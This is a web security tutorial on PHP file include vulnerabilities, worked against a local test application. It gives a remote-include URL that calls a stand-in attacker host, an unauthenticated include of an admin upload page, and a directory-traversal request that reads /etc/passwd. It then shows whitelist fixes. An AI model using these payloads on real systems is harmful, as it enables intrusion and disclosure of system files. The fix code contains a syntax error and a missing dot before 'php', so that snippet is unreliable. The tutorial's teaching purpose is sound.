Open source software security

Web Hacking Lesson 4 - File Include Vulnerabilities

30 November -0001

PHP File Include Vulnerabilities

Note: If you haven't read Lesson 1 go check it out first for test application install instructions.

Along the same lines of SQL injection and XSS, remote file inclusion vulnerabilities rely on the user being able to manipulate variables interpreted by PHP. The most common occurance of this vulnerability is the utilization of URL strings to determine included files. This threat of this vulnerability is largely determined by the configuration of the PHP server. Some servers will allow more malicious includes than others.

The most common place to find PHP file include vulnerabilities is in areas where the developer has utilized GET variables to determine functionality. You may see this when a range of display options are available on a specific page, and these options are broken up into separate PHP files on the filesystem. To save time the developer might simply write code such as:

include($_GET['page']);

to include whatever page is requested in the URL. Just like SQL injection and XSS, this allows an attacker to actually craft the contents of the include() statement. The most malicious attack is a remote include, meaning the attacker requests a URL that calls the GET variable 'page' and sets it to a URL of a remote server. For instance, assume the URL to an application was:

http://localhost/index.php?page=about.php

And that URL called the about page and included in the index.php page contents using:

include($_GET['page']);

If an attacker called:

http://localhost/index.php?page=http://evil_site.tld/attack_script.php

Then the actual 'attack_script.php' page would be retrieved and parsed by the server. There is no limit to the mischief a remote file include vulnerability could cause.

Many PHP servers are set up so they can't call remote files for include(). The Suhosin project, and Hardened PHP, both make use of this restriction. For this reason, finding servers with remote file include vulnerabilities is rare.

More commonly a file include vulnerability will allow an attacker to include files in a page that weren't intended to be exposed. For instance, in our test application there is a page that allows an admin to upload a file. This page is only supposed to be included if an admin logs in, but utilizing a file include vulnerability we can call that page and cause it to be included.

If you look at the URL's for the 'help' and 'about' pages in the test application (there are links in the header) you'll see the URL looks like it might include a file include vulnerability. The URL:

http://localhost/index.php?page=about

indicates that a page is actually being included. Go ahead and go to the 'about' page and change the URL parameters from

/index.php?page=about.php

to:

/index.php?page=image_upload.php

You'll notice that even without logging in, you can cause the image upload file to be included simply by manipulating the URL.

An even more sinister usage of this type of vulnerability is to include a file from across the filesystem. For instance, a common tactic used by attackers is to try and grab a copy of the /etc/passwd file to expose the usernames on the system. This file location is fairly standard on Linux systems. Try changing the URL to:

/index.php?page=../../../../../../../../../../etc/passwd

and notice what happens. You'll see that this very important system file is included. Exploiting this vulnerability an attacker can include any file that the web server can read in the output of the page!

Preventing PHP File Include Vulnerabilities

PHP file include vulnerabilities are quite easy to prevent. The easiest step to take is to configure your server so remote files cannot be included. The Suhosin project and Hardened PHP both allow this configuration.

The best way to prevent PHP file inclusion vulnerabilities is to scrub user input and to limit include options only to specifically defined files. For instance, the code:

include($_GET['page']);

can be improved in a number of ways, but the best possible way is to change it so that it reads something like:

$actions = array('about', 'help');
$page = $_GET['page'];
if (! in_array($page, $actions) $page = 'error';
include($page . "php");

This change will prohibit the application from including any page other than about.php, help.php and error.php. This bypasses the need to attempt to scrub out periods and slashes from the URL to prevent a directory traversal in the file include. Even using a simple call to urlencode() or htmlspecialchars() would prevent this, however, and so if the potential list of include files is unknown at the very least the application could be written:

$page = urlencode($_GET['page']);
include($page.".php");

You'll note the explicit restriction to file extensions ending with '.php' as well. The more explicit you can be in restricting the possible inputs the better.